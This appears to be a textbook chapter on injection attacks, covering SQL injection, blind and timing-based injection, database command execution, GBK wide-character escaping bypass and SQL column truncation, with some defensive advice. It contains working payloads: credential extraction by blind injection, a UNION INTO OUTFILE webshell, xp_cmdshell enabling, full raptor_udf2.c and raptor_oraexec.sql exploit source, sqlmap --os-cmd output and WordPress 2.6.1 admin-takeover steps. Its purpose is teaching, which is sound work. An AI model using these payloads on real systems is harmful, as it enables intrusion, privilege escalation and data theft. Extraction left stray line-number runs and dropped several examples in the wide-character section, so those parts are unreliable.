注入攻击

注入攻击是Web安全领域中一种最为常见的攻击方式。在“跨站脚本攻击”一章中曾经提到过,XSS本质上也是一种针对HTML的注入攻击。而在“我的安全世界观”一章中,提出了一个安全设计原则——“数据与代码分离”原则,它可以说是专门为了解决注入攻击而生的。注入攻击的本质,是把用户输入的数据当做代码执行。这里有两个关键条件,第一个是用户能够控制输入;第二个是原本程序要执行的代码,拼接了用户输入的数据。在本章中,我们会分别探讨几种常见的注入攻击,以及防御办法。

SQL注入

在今天,SQL注入对于开发者来说,应该是耳熟能详了。而SQL注入第一次为公众所知,是在1998年的著名黑客杂志《Phrack》第54期上,一位名叫rfp的黑客发表了一篇题为“NT Web Tech-nology Vulnerabilities”的文章。

在文章中,第一次向公众介绍了这种新型的攻击技巧。下面是一个SQL注入的典型例子。

1 2 3 4 5 6 7
var Shipcity; ShipCity = Request.form ("ShipCity"); var sql = "select * from OrdersTable where ShipCity = '" + ShipCity + "'";

变量ShipCity的值由用户提交,在正常情况下,假如用户输入“Beijing”,那么SQL语句会执行:

1 2 3
SELECT * FROM OrdersTable WHERE ShipCity = 'Beijing'

但假如用户输入一段有语义的SQL语句,比如:

1
Beijing'; drop table OrdersTable--

那么,SQL语句在实际执行时就会如下:

1 2 3
SELECT * FROM OrdersTable WHERE ShipCity = 'Beijing';drop table OrdersTable--'

我们看到,原本正常执行的查询语句,现在变成了查询完后,再执行一个drop表的操作,而这个操作,是用户构造了恶意数据的结果。

回过头来看看注入攻击的两个条件:

(1)用户能够控制数据的输入——在这里,用户能够控制变量ShipCity。

(2)原本要执行的代码,拼接了用户的输入:

1 2 3
var sql = "select * from OrdersTable where ShipCity = '" + ShipCity + "'";

这个“拼接”的过程很重要,正是这个拼接的过程导致了代码的注入。

在SQL注入的过程中,如果网站的Web服务器开启了错误回显,则会为攻击者提供极大的便利,比如攻击者在参数中输入一个单引号“'”,引起执行查询语句的语法错误,服务器直接返回了错误信息:

1
Microsoft JET Database Engine 错误 '80040e14'

字符串的语法错误 在查询表达式 'ID=49'' 中。

1
/showdetail.asp,行8

从错误信息中可以知道,服务器用的是Access作为数据库,查询语句的伪代码极有可能是:

1
select xxx from table_X where id = $id

错误回显披露了敏感信息,对于攻击者来说,构造SQL注入的语句就可以更加得心应手了。

盲注(Blind Injection)

但很多时候,Web服务器关闭了错误回显,这时就没有办法成功实施SQL注入攻击了吗?攻击者为了应对这种情况,研究出了“盲注”(Blind In-jection)的技巧。

所谓“盲注”,就是在服务器没有错误回显时完成的注入攻击。服务器没有错误回显,对于攻击者来说缺少了非常重要的“调试信息”,所以攻击者必须找到一个方法来验证注入的SQL语句是否得到执行。

最常见的盲注验证方法是,构造简单的条件语句,根据返回页面是否发生变化,来判断SQL语句是否得到执行。

比如,一个应用的URL如下:

1
http://newspaper.com/items.php?id=2

执行的SQL语句为:

1 2 3
SELECT title, description, body FROM items WHERE ID = 2

如果攻击者构造如下的条件语句:

http://newspaper.com/items.php?id=2 and 1=2

实际执行的SQL语句就会变成:

1 2 3
SELECT title, description, body FROM items WHERE ID = 2 and 1=2

因为“and 1=2”永远是一个假命题,所以这条SQL语句的“and”条件永远无法成立。对于Web应用来说,也不会将结果返回给用户,攻击者看到的页面结果将为空或者是一个出错页面。

为了进一步确认注入是否存在,攻击者还必须再次验证这个过程。因为一些处理逻辑或安全功能,在攻击者构造异常请求时,也可能会导致页面返回不正常。攻击者继续构造如下请求:

1
http://newspaper.com/items.php?id=2 and 1=1

当攻击者构造条件“and 1=1”时,如果页面正常返回了,则说明SQL语句的“and”成功执行,那么就可以判断“id”参数存在SQL注入漏洞了。

在这个攻击过程中,服务器虽然关闭了错误回显,但是攻击者通过简单的条件判断,再对比页面返回结果的差异,就可以判断出SQL注入漏洞是否存在。这就是盲注的工作原理。如下例:

攻击者先输入条件“and 1=1”,服务器返回正常页面,这是因为“and”语句成立。

当注入语句的条件为真时返回正常页面

再输入条件“and 1=2”,SQL语句执行后,因为1=2永远不可能为真,因此SQL语句无法返回查询到的数据。

当注入语句的条件为假时没有查询到具体内容

由此可立即判断漏洞存在。

Timing Attack

2011年3月27日,一个名叫TinKode的黑客在著名的安全邮件列表Full Disclosure上公布了一些他入侵mysql.com所获得的细节。这次入侵事件,就是由一个SQL注入漏洞引起的。MySQL是当今世界上最流行的数据库软件之一。

据黑客描述,这个漏洞出在下面这个页面:

mysql.com存在漏洞的页面

通过改变参数id的值,服务器将返回不同的客户信息。这个参数存在一个非常隐蔽的“盲注”漏洞,通过简单的条件语句比如“and 1=2”是无法看出异常的。在这里黑客用了“盲注”的一个技巧:Timing Attack,来判断漏洞的存在。

在MySQL中,有一个BENCHMARK()函数,它是用于测试函数性能的。它有两个参数:

1
BENCHMARK(count,expr)

函数执行的结果,是将表达式expr执行count次。比如:

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
mysql> SELECT BENCHMARK(1000000,ENCODE('hello','goodbye' )); +-------------------------------------------- --+ | BENCHMARK(1000000,ENCODE('hello','goodbye')) | +-------------------------------------------- --+ | 0 | +-------------------------------------------- --+ 1 row in set (4.74 sec)

就将ENCODE('hello','goodbye')执行了1000000次,共用时4.74秒。

因此,利用BENCHMARK()函数,可以让同一个函数执行若干次,使得结果返回的时间比平时要长;通过时间长短的变化,可以判断出注入语句是否执行成功。这是一种边信道攻击,这个技巧在盲注中被称为Tim-ing Attack。

攻击者接下来要实施的就是利用Timing At-tack完成这次攻击,这是一个需要等待的过程。比如构造的攻击参数id值为:

1 2 3 4 5 6 7
1170 UNION SELECT IF(SUBSTRING(current,1,1) = CHAR(119),BENCHMARK(5000000,ENCODE('MSG','by 5 seconds')),null) FROM (Select Database() as current) as tbl;

这段Payload判断库名的第一个字母是否为CHAR(119),即小写的w。如果判断结果为真,则会通过BENCHMARK()函数造成较长延时;如果不为真,则该语句将很快执行完。攻击者遍历所有字母,直到将整个数据库名全部验证完成为止。

与此类似,还可通过以下函数获取到许多有用信息:

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15
database() - the name of the database currently connected to. system_user() - the system user for the database. current_user() - the current user who is logged in to the database. last_insert_id() - the transaction ID of the last insert operation on the database.

如果当前数据库用户(current_user)具有写权限,那么攻击者还可以将信息写入本地磁盘中。比如写入Web目录中,攻击者就有可能下载这些文件:

 1  2  3  4  5  6  7  8  9 10 11
1170 Union All SELECT table_name, table_type, engine FROM information_schema.tables WHERE table_schema = 'mysql’ ORDER BY table_name DESC INTO OUTFILE '/path/location/on/server/www/schema.txt'

此外,通过Dump文件的方法,还可以写入一个webshell:

1 2 3 4 5 6 7
1170 UNION SELECT "<? system($_REQUEST['cmd']); ?>",2,3,4 INTO OUTFILE "/var/www/html/temp/c.php" --

Timing Attack是盲注的一种高级技巧。在不同的数据库中,都有着类似于BENCHMARK()的函数,可以被Timing Attack所利用。

更多类似的函数,可以查阅每个数据库软件的手册。

数据库攻击技巧

找到SQL注入漏洞,仅仅是一个开始。要实施一次完整的攻击,还有许多事情需要做。在本节中,将介绍一些具有代表性的SQL注入技巧。了解这些技巧,有助于更深入地理解SQL注入的攻击原理。

SQL注入是基于数据库的一种攻击。不同的数据库有着不同的功能、不同的语法和函数,因此针对不同的数据库,SQL注入的技巧也有所不同。

常见的攻击技巧

SQL注入可以猜解出数据库的对应版本,比如下面这段Payload,如果MySQL的版本是4,则会返回TRUE:

1 2 3
http://www.site.com/news.php?id=5 and substring(@@version,1,1)=4

下面这段Payload,则是利用union select来分别确认表名admin是否存在,列名passwd是否存在:

1 2 3
id=5 union all select 1,2,3 from admin id=5 union all select 1,2,passwd from admin

进一步,想要猜解出username和password具体的值,可以通过判断字符的范围,一步步读出来:

 1  2  3  4 5  6  7  8  9 1011 12 13 14 15 1617 18 19 20 21 2223 24 25 26 27 28 29 3031 32 33
id=5 and ascii(substring((select concat(username,0x3a,passwd) from users limit 0,1),1,1))>64 /*ret true)*/ id=5 and ascii(substring((select concat(username,0x3a,passwd) from users limit 0,1),1,1))>96 /*ret true*/ id=5 and ascii(substring((select concat(username,0x3a,passwd) from users limit 0,1),1,1))>100 /*ret false*/ id=5 and ascii(substring((select concat(username,0x3a,passwd) from users limit 0,1),1,1))>97 /*ret false*/ ... id=5 and ascii(substring((select concat(username,0x3a,passwd) from users limit 0,1),2,1))>64 /*ret true*/ ...

这个过程非常的烦琐,所以非常有必要使用一个自动化工具来帮助完成整个过程。sqlmap.py就是一个非常好的自动化注入工具。

sqlmap.py的攻击过程

在注入攻击的过程中,常常会用到一些读写文件的技巧。比如在MySQL中,就可以通过LOAD_FILE()读取系统文件,并通过INTODUMPFILE写入本地文件。当然这要求当前数据库用户有读写系统相应文件或目录的权限。

1 2 3
… union select 1,1, LOAD_FILE('/etc/ passwd'),1,1;

如果要将文件读出后,再返回结果给攻击者,则可以使用下面这个技巧:

1 2 3 4 5 6 7 8 9
CREATE TABLE potatoes(line BLOB); UNION SELECT 1,1, HEX(LOAD_FILE('/etc/ passwd')),1,1 INTO DUMPFILE '/tmp/potatoes'; LOAD DATA INFILE '/tmp/potatoes' INTO TABLE potatoes;

这需要当前数据库用户有创建表的权限。首先通过LOAD_FILE()将系统文件读出,再通过INTODUMPFILE将该文件写入系统中,然后通过LOAD DATA INFILE将文件导入创建的表中,最后就可以通过一般的注入技巧直接操作表数据了。

除了可以使用INTO DUMPFILE外,还可以使用INTO OUTFILE,两者的区别是DUMPFILE适用于二进制文件,它会将目标文件写入同一行内;而OUTFILE则更适用于文本文件。

写入文件的技巧,经常被用于导出一个Web-shell,为攻击者的进一步攻击做铺垫。因此在设计数据库安全方案时,可以禁止普通数据库用户具备操作文件的权限。

命令执行

在MySQL中,除了可以通过导出webshell间接地执行命令外,还可以利用“用户自定义函数”的技巧,即UDF(User-Defined Functions)来执行命令。

在流行的数据库中,一般都支持从本地文件系统中导入一个共享库文件作为自定义函数。使用如下语法可以创建UDF:

1 2 3
CREATE FUNCTION f_name RETURNS INTEGER SONAME shared_library

在MySQL 4的服务器上,Marco Ivaldi公布了如下的代码,可以通过UDF执行系统命令。尤其是当运行mysql进程的用户为root时,将直接获得root权限。

  1   2   3   4   5   6   7   8   9  10  11  12  13  14  15  16  17  18  19  20  21  22  23  24  25  26  27  28  29  30  31  32  33  34  35  36  37  38  39  40  41  42  43  44  45  46  47  48  49  50  51  52  53  54  55  56  57  58  59  60  61  62  63  64  65  66  67  68  69  70  71  72  73  74  75  76  77  78  79  80  81  82  83  84  85  86  87  88  89  90  91  92  93  94  95  96  97  98  99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235
/* * $Id: raptor_udf2.c,v 1.1 2006/01/18 17:58:54 raptor Exp $ * * raptor_udf2.c - dynamic library for do_system() MySQL UDF * Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info> * * This is an helper dynamic library for local privilege escalation through * MySQL run with root privileges (very bad idea!), slightly modified to work * with newer versions of the open-source database. Tested on MySQL 4.1.14. * * See also: http://www.0xdeadbeef.info/ exploits/raptor_udf.c * * Starting from MySQL 4.1.10a and MySQL 4.0.24, newer releases include fixes * for the security vulnerabilities in the handling of User Defined Functions * (UDFs) reported by Stefano Di Paola <stefano.dipaola@wisec.it>. For further * details, please refer to: * * http://dev.mysql.com/doc/refman/5.0/en/ udf-security.html * http://www.wisec.it/vulns.php?page=4 * http://www.wisec.it/vulns.php?page=5 * http://www.wisec.it/vulns.php?page=6 * * "UDFs should have at least one symbol defined in addition to the xxx symbol * that corresponds to the main xxx() function. These auxiliary symbols * correspond to the xxx_init(), xxx_deinit(), xxx_reset(), xxx_clear(), and * xxx_add() functions". -- User Defined Functions Security Precautions * * Usage: * $ id * uid=500(raptor) gid=500(raptor) groups=500(raptor) * $ gcc -g -c raptor_udf2.c * $ gcc -g -shared -W1,- soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc * $ mysql -u root -p * Enter password: * [...] * mysql> use mysql; * mysql> create table foo(line blob); * mysql> insert into foo values(load_file('/ home/raptor/raptor_udf2.so')); * mysql> select * from foo into dumpfile '/ usr/lib/raptor_udf2.so'; * mysql> create function do_system returns integer soname 'raptor_udf2.so'; * mysql> select * from mysql.func; * +-----------+-----+---------------- +----------+ * | name | ret | dl | type | * +-----------+-----+---------------- +----------+ * | do_system | 2 | raptor_udf2.so | function | * +-----------+-----+---------------- +----------+ * mysql> select do_system('id > /tmp/out; chown raptor.raptor /tmp/out'); * mysql> \! sh * sh-2.05b$ cat /tmp/out * uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm) * [...] */ #include <stdio.h> #include <stdlib.h> enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT}; typedef struct st_udf_args { unsigned int arg_count; // number of arguments enum Item_result *arg_type; // pointer to item_result char **args; // pointer to arguments unsigned long *lengths; // length of string args char *maybe_null; // 1 for maybe_null args } UDF_ARGS; typedef struct st_udf_init { char maybe_null; // 1 if func can return NULL unsigned int decimals; // for real functions unsigned long max_length; // for string functions char *ptr; // free ptr for func data char const_item; // 0 if result is constant } UDF_INIT; int do_system(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error) { if (args->arg_count != 1) return(0); system(args->args[0]); return(0); } char do_system_init(UDF_INIT *initid, UDF_ARGS *args, char *message) { return(0); }

但是这段代码在MySQL 5及之后的版本中将受到限制,因为其创建自定义函数的过程并不符合新的版本规范,且返回值永远是0。

后来安全研究者们找到了另外的方法——通过lib_mysqludf_sys提供的几个函数执行系统命令,其中最主要的函数是sys_eval()和sys_exec()。

在攻击过程中,将lib_mysqludf_sys.so上传到数据库能访问到的路径下。在创建UDF之后,就可以使用sys_eval()等函数执行系统命令了。 ?sys_eval,执行任意命令,并将输出返回。

1 2 3
sys_exec,执行任意命令,并将退出码返回。 ?sys_get,获取一个环境变量。 sys_set,创建或修改一个环境变量。

lib_mysqludf_sys的相关信息可以在官方网站获得,使用方法如下:

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79
$ wget --no-check-certificate https://svn.sqlmap.org/sqlmap/trunk/sqlmap/ extra/mysqludfsys/lib_mysqludf_sys_0.0.3.tar.gz $ tar xfz lib_mysqludf_sys_0.0.3.tar.gz $ cd lib_mysqludf_sys_0.0.3 $ sudo ./install.sh Compiling the MySQL UDF gcc -Wall -I/usr/include/mysql -I. -shared lib_mysqludf_sys.c -o /usr/lib/lib_mysqludf_sys.so MySQL UDF compiled successfully Please provide your MySQL root password Enter password: MySQL UDF installed successfully $ mysql -u root -p mysql Enter password: [...] mysql> SELECT sys_eval('id'); +-------------------------------------------- ------+ | sys_eval('id') | +-------------------------------------------- ------+ | uid=118(mysql) gid=128(mysql) groups=128(mysql) | +-------------------------------------------- ------+ 1 row in set (0.02 sec) mysql> SELECT sys_exec('touch /tmp/ test_mysql'); +-----------------------------------+ | sys_exec('touch /tmp/test_mysql') | +-----------------------------------+ | 0 | +-----------------------------------+ 1 row in set (0.02 sec) mysql> exit Bye $ ls -l /tmp/test_mysql -rw-rw---- 1 mysql mysql 0 2009-01-16 23:18 /tmp/test_mysql

自动化注入工具sqlmap已经集成了此功能。

  1   2   3   4   5   6   7   8   9  10  11  12  13  14  15  16  17  18  19  20  21  22  23  24  25  26  27  28  29  30  31  32  33  34  35  36  37  38  39  40  41  42  43  44  45  46  47  48  49  50  51  52  53  54  55  56  57  58  59  60  61  62  63  64  65  66  67  68  69  70  71  72  73  74  75  76  77  78  79  80  81  82  83  84  85  86  87  88  89  90  91  92  93  94  95  96  97  98  99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/ get_int.php?id=1" --os-cmd id -v 1 [...] web application technology: PHP 5.2.6, Apache 2.2.9 back-end DBMS: PostgreSQL [hh:mm:12] [INFO] fingerprinting the back- end DBMS operating system [hh:mm:12] [INFO] the back-end DBMS operating system is Linux [hh:mm:12] [INFO] testing if current user is DBA [hh:mm:12] [INFO] detecting back-end DBMS version from its banner [hh:mm:12] [INFO] checking if UDF 'sys_eval' already exist [hh:mm:12] [INFO] checking if UDF 'sys_exec' already exist [hh:mm:12] [INFO] creating UDF 'sys_eval' from the binary UDF file [hh:mm:12] [INFO] creating UDF 'sys_exec' from the binary UDF file do you want to retrieve the command standard output? [Y/n/a] y command standard output: 'uid=104(postgres) gid=106(postgres) groups=106(postgres)' [hh:mm:19] [INFO] cleaning up the database management system do you want to remove UDF 'sys_eval'? [Y/n] y do you want to remove UDF 'sys_exec'? [Y/n] y [hh:mm:23] [INFO] database management system cleanup finished [hh:mm:23] [WARNING] remember that UDF shared object files saved on the file system -- -- $Id: raptor_oraexec.sql,v 1.2 2006/11/23 23:40:16 raptor Exp $ -- -- raptor_oraexec.sql - java exploitation suite for oracle -- Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info> -- -- This is an exploitation suite for Oracle written in Java. Use it to -- read/write files and execute OS commands with the privileges of the -- RDBMS, if you have the required permissions (DBA role and SYS:java). -- -- "The Oracle RDBMS could almost be considered as a shell like bash or the -- Windows Command Prompt; it's not only capable of storing data but can also -- be used to completely access the file system and run operating system -- commands" -- David Litchfield (http://www.databasesecurity.com/) -- -- Usage example: -- $ sqlplus "/ as sysdba" -- [...] -- SQL> @raptor_oraexec.sql -- [...] -- SQL> exec javawritefile('/tmp/mytest', '/ bin/ls -l > /tmp/aaa'); -- SQL> exec javawritefile('/tmp/mytest', '/ bin/ls -l / > /tmp/bbb'); -- SQL> exec dbms_java.set_output(2000); -- SQL> set serveroutput on; -- SQL> exec javareadfile('/tmp/mytest'); -- /bin/ls -l > /tmp/aaa -- /bin/ls -l / >/tmp/bbb -- SQL> exec javacmd('/bin/sh /tmp/mytest'); -- SQL> !sh -- $ ls -rtl /tmp/ -- [...] -- -rw-r--r-- 1 oracle system 45 Nov 22 12:20 mytest -- -rw-r--r-- 1 oracle system 1645 Nov 22 12:20 aaa -- -rw-r--r-- 1 oracle system 8267 Nov 22 12:20 bbb -- [...] -- create or replace and resolve java source named "oraexec" as import java.lang.*; import java.io.*; public class oraexec { /* * Command execution module */ public static void execCommand(String command) throws IOException { Runtime.getRuntime().exec(command); } /* * File reading module */ public static void readFile(String filename) throws IOException { FileReader f = new FileReader(filename); BufferedReader fr = new BufferedReader(f); String text = fr.readLine(); while (text != null) { System.out.println(text); text = fr.readLine(); } fr.close(); } /* * File writing module */ public static void writeFile(String filename, String line) throws IOException { FileWriter f = new FileWriter(filename, true); /* append */ BufferedWriter fw = new BufferedWriter(f); fw.write(line); fw.write("\n"); fw.close(); } } / -- usage: exec javacmd('command'); create or replace procedure javacmd(p_command varchar2) as language java name 'oraexec.execCommand(java.lang.String)'; / -- usage: exec dbms_java.set_output(2000); -- set serveroutput on; -- exec javareadfile('/path/to/file'); create or replace procedure javareadfile(p_filename in varchar2) as language java name 'oraexec.readFile(java.lang.String)'; / -- usage: exec javawritefile('/path/to/ file', 'line to append'); create or replace procedure javawritefile(p_filename in varchar2, p_line in varchar2) as language java name 'oraexec.writeFile(java.lang.String, java.lang.String)'; /

一般来说,在数据库中执行系统命令,要求具有较高的权限。在数据库加固时,可以参阅官方文档给出的安全指导文档。

在建立数据库账户时应该遵循“最小权限原则”,尽量避免给Web应用使用数据库的管理员权限。

攻击存储过程

存储过程为数据库提供了强大的功能,它与UDF很像,但存储过程必须使用CALL或者EXE-CUTE来执行。在MS SQL Server和Oracle数据库中,都有大量内置的存储过程。在注入攻击的过程中,存储过程将为攻击者提供很大的便利。

在MS SQL Server中,存储过程“xp_cmd-shell”可谓是臭名昭著了,无数的黑客教程在讲到注入SQL Server时都是使用它执行系统命令:

1 2 3
EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:' EXEC master.dbo.xp_cmdshell 'ping '

xp_cmdshell在SQL Server 2000中默认是开启的,但在SQL Server 2005及以后版本中则默认被禁止了。但是如果当前数据库用户拥有sysad-min权限,则可以使用sp_configure(SQL Server2005 与 SQL Server 2008)重新开启它;如果在SQLServer 2000中禁用了xp_cmdshell,则可以使用sp_addextendedproc开启它。

1 2 3 4 5 6 7
EXEC sp_configure 'show advanced options',1 RECONFIGURE EXEC sp_configure 'xp_cmdshell',1 RECONFIGURE

除了xp_cmdshell外,还有一些其他的存储过程对攻击过程也是有帮助的。比如xp_regread可以操作注册表:

 1  2  3  4  5  6  7  8  9 10 11 12 13
exec xp_regread HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services \lanmanserver\parameters', 'nullsessionshares' exec xp_regenumvalues HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\snmp \parameters\validcommunities'

可以操作注册表的存储过程还有:

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15
xp_regaddmultistring xp_regdeletekey xp_regdeletevalue xp_regenumkeys xp_regenumvalues xp_regread xp_regremovemultistring xp_regwrite

此外,以下存储过程对攻击者也非常有用。

xp_servicecontrol,允许用户启动、停止服务。如:

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
(exec master..xp_servicecontrol 'start','schedule' exec master..xp_servicecontrol 'start','server') xp_availablemedia,显示机器上有用的驱动器。 xp_dirtree,允许获得一个目录树。 xp_enumdsn,列举服务器上的ODBC数据源。 xp_loginconfig,获取服务器安全信息。 xp_makecab,允许用户在服务器上创建一个压缩文件。 xp_ntsec_enumdomains,列举服务器可以进入的域。 xp_terminate_process,提供进程的进程ID,终止此进程。

除了利用存储过程直接攻击外,存储过程本身也可能会存在注入漏洞。我们看下面这个PL/SQL的例子。

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19
procedure get_item ( itm_cv IN OUT ItmCurTyp, usr in varchar2, itm in varchar2) is open itm_cv for ' SELECT * FROM items WHERE ' || 'owner = '''|| usr || ' AND itemname = ''' || itm || ''''; end get_item;

在这个存储过程中,变量usr和itemname 都是由外部传入的,且未经过任何处理,将直接造成SQL注入问题。在Oracle数据库中,由于内置的存储过程非常多,很多存储过程都可能存在SQL注入问题,需要特别引起注意。

编码问题

在有些时候,不同的字符编码也可能会导致一些安全问题。在注入的历史上,曾经出现过“基于字符集”的注入攻击技巧。

注入攻击中常常会用到单引号“’”、双引号“””等特殊字符。在应用中,开发者为了安全,经常会使用转义字符“\”来转义这些特殊字符。但当数据库使用了“宽字符集”时,可能会产生一些意想不到的漏洞。比如,当MySQL使用了GBK编码时,0xbf27 和 0xbf5c都会被认为是一个字符(双字节字符)。

宽字符问题

而在进入数据库之前,在Web语言中则没有考虑到双字节字符的问题,双字节字符会被认为是两个字节。比如PHP中的addslashes()函数,或者当magic_quotes_gpc开启时,会在特殊字符前增加一个转义字符“\”。

addslashes()函数会转义4个字符:

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15
Description string addslashes ( string $str ) Returns a string with backslashes before characters that need to be quoted in database queries etc. These characters are single quote ('), double quote ("), backslash (\) and NUL (the NULL byte).

因此,假如攻击者输入:

1
0xbf27 or 1=1

即:

经过转义后,会变成0xbf5c27(“\”的ASCII码为0x5c),但0xbf5c又是一个字符:

因此原本会存在的转义符号“\”,在数据库中就被“吃掉“了,变成:

要解决这种问题,需要统一数据库、操作系统、Web应用所使用的字符集,以避免各层对字符的理解存在差异。统一设置为UTF-8是一个很好的方法。

基于字符集的攻击并不局限于SQL注入,凡是会解析数据的地方都可能存在此问题。比如在XSS攻击时,由于浏览器与服务器返回的字符编码不同,也可能会存在字符集攻击。解决方法就是在HTML页面的<meta>标签中指定当前页面的charset。

如果因为种种原因无法统一字符编码,则需要单独实现一个用于过滤或转义的安全函数,在其中需要考虑到字符的可能范围。

比如,GBK编码的字符范围为:

根据系统所使用的不同字符集来限制用户输入数据的字符允许范围,以实现安全过滤。

SQL Column Truncation

2008年8月,Stefan Esser提出了一种名为“SQL Column Truncation”的攻击方式,在某些情况下,将会导致发生一些安全问题。

在MySQL的配置选项中,有一个sql_mode选项。当MySQL的sql-mode设置为default时,即没有开启STRICT_ALL_TABLES选项时,MySQL对于用户插入的超长值只会提示warn-ing,而不是error(如果是error则插入不成功),这可能会导致发生一些“截断”问题。

测试过程如下(MySQL 5)。

首先开启strict模式。

1 2 3 4 5
sql- mode="STRICT_TRANS_TABLES,NO_AUTO_CREATE_USE R,NO_ENGINE_SUBSTITUTION"

在strict模式下,因为输入的字符串超出了长度限制,因此数据库返回一个error信息,同时数据插入不成功。

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97
mysql> create table 'truncated_test' ( -> `id` int(11) NOT NULL auto_increment, -> `username` varchar(10) default NULL, -> `password` varchar(10) default NULL, -> PRIMARY KEY ('id') -> )DEFAULT CHARSET=utf8; Query OK, 0 rows affected (0.08 sec) mysql> select * from truncated_test; Empty set (0.00 sec) mysql> show columns from truncated_test; +----------+-------------+------+----- +---------+----------------+ | Field | Type | Null | Key | Default | Extra | +----------+-------------+------+----- +---------+----------------+ | id | int(11) | NO | PRI | NULL | auto_increment | | username | varchar(10) | YES | | NULL | | | password | varchar(10) | YES | | NULL | | +----------+-------------+------+----- +---------+----------------+ 3 rows in set (0.00 sec) mysql> insert into truncated_test('username','password') values("admin","pass"); Query OK, 1 row affected (0.03 sec) mysql> select * from truncated_test; +----+----------+----------+ | id | username | password | +----+----------+----------+ | 1 | admin | pass | +----+----------+----------+ 1 row in set (0.00 sec) mysql> insert into truncated_test('username','password') values("admin x", "new_pass"); ERROR 1406 (22001): Data too long for column 'username' at row 1 mysql> select * from truncated_test; +----+----------+----------+ | id | username | password | +----+----------+----------+ | 1 | admin | pass | +----+----------+----------+ 1 row in set (0.00 sec)

当关闭了strict选项时:

1 2 3 4 5
sql- mode="NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUT ION"

数据库只返回一个warning信息,但数据插入成功。

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
mysql> select * from truncated_test; +----+----------+----------+ | id | username | password | +----+----------+----------+ | 1 | admin | pass | +----+----------+----------+ 1 row in set (0.00 sec) mysql> insert into truncated_test('username','password') values("admin x", -> "new_pass"); Query OK, 1 row affected, 1 warning (0.01 sec) mysql> select * from truncated_test; +----+------------+----------+ | id | username | password | +----+------------+----------+ | 1 | admin | pass | | 2 | admin | new_pass | +----+------------+----------+ 2 rows in set (0.00 sec) mysql>

此时如果插入两个相同的数据会有什么后果呢?根据不同业务可能会造成不同的逻辑问题。比如类似下面的代码:

 1  2  3  4  5  6  7  8  9 10 11
$userdata = null; if (isPasswordCorrect($username, $password)) { $userdata = getUserDataByLogin($username); ... }

它使用这条SQL语句来验证用户名和密码:

1 2 3
SELECT username FROM users WHERE username = ? AND passhash = ?

但如果攻击者插入一个同名的数据,则可以通过此认证。在之后的授权过程中,如果系统仅仅通过用户名来进行授权:

1
SELECT * FROM users WHERE username = ?

则可能会造成一些越权访问。

在这个问题公布后不久,WordPress就出现了一个真实的案例——

注册一个用户名为“admin(55个空格)x”的用户,就可以修改原管理员的密码了。

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
Vulnerable Systems: * WordPress version 2.6.1 Exploit: 1. Go to URL: server.com/wp-login.php? action=register 2. Register as: login: admin x (the user admin[55 space chars]x) email: your email Now, we have duplicated 'admin' account in database 3. Go to URL: server.com/wp-login.php? action=lostpassword 4. Write your email into field and submit this form 5. Check your email and go to reset confirmation link 6. Admin's password changed, but new password will be send to correct admin email Additional Information: The information has been provided by irk4z. The original article can be found at: http://irk4z.wordpress.com/

